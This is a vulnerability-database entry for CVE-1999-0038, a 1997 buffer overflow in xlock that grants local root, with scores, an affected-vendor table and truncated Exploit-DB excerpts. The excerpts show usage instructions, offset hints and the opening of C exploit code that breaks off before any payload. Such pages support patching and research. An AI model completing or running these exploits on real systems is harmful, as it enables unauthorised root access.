CVE-1999-0038
published 1997-04-26CVE-1999-0038: Buffer overflow in xlock program allows local users to execute commands as root.
PriorityP423high8.4CVSS 3.1
AVLACLPRNUINSUCHIHAH
EXPLOIT
EPSS
1.32%
70.7th percentile
Buffer overflow in xlock program allows local users to execute commands as root.
Affected
42 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| bsdi | bsd_os | — | — |
| data_general | dg_ux | — | — |
| data_general | dg_ux | — | — |
| data_general | dg_ux | — | — |
| data_general | dg_ux | — | — |
| data_general | dg_ux | — | — |
| data_general | dg_ux | — | — |
| data_general | dg_ux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| sgi | irix | — | — |
CVSS provenance
nvdv3.18.4HIGHCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
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Exploit-DB
BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.4 / Solaris 2.5.1 - '/usr/bin/X11/xlock' Local Privilege Escalation (2)
exploitdb·1997-04-26
CVE-1999-0306 BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.4 / Solaris 2.5.1 - '/usr/bin/X11/xlock' Local Privilege Escalation (2)
BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.4 / Solaris 2.5.1 - '/usr/bin/X11/xlock' Local Privilege Escalation (2)
---
/*
source: https://www.securityfocus.com/bid/224/info
The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access.
*/
/*
*
* /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V
*
* CREDITS: this code is simply a modified version of an exploit
* posted by Georgi Guninski ([email protected])
*
* USAGE:
* $ cc -o foo -g aix_xlock.c
* $ ./foo 3200
* #
*
* HINT: Try giving ranges from 3100 through 3400
* (If these ranges don't work, then run the brute
* korn shell script provided
Exploit-DB
BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.4 / Solaris 2.5.1 - 'xlock' Local Overflow / Local Privilege Escalation (1)
exploitdb·1997-04-26
CVE-1999-0306 BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.4 / Solaris 2.5.1 - 'xlock' Local Overflow / Local Privilege Escalation (1)
BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SGI IRIX 6.4 / Solaris 2.5.1 - 'xlock' Local Overflow / Local Privilege Escalation (1)
---
/*
source: https://www.securityfocus.com/bid/224/info
The xlock program is used to lock the local X display until the user supplies the correct password. A buffer overflow condition has been discovered in xlock that may allow an unauthorized user to gain root access.
*/
/* x86 XLOCK overflow exploit
by [email protected] 4/17/97
Original exploit framework - lpr exploit
Usage: make xlock-exploit
xlock-exploit
Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/
#include
#include
#include
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 996
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
int main(int argc, char *arg
No writeups or analysis indexed.
1997-04-26
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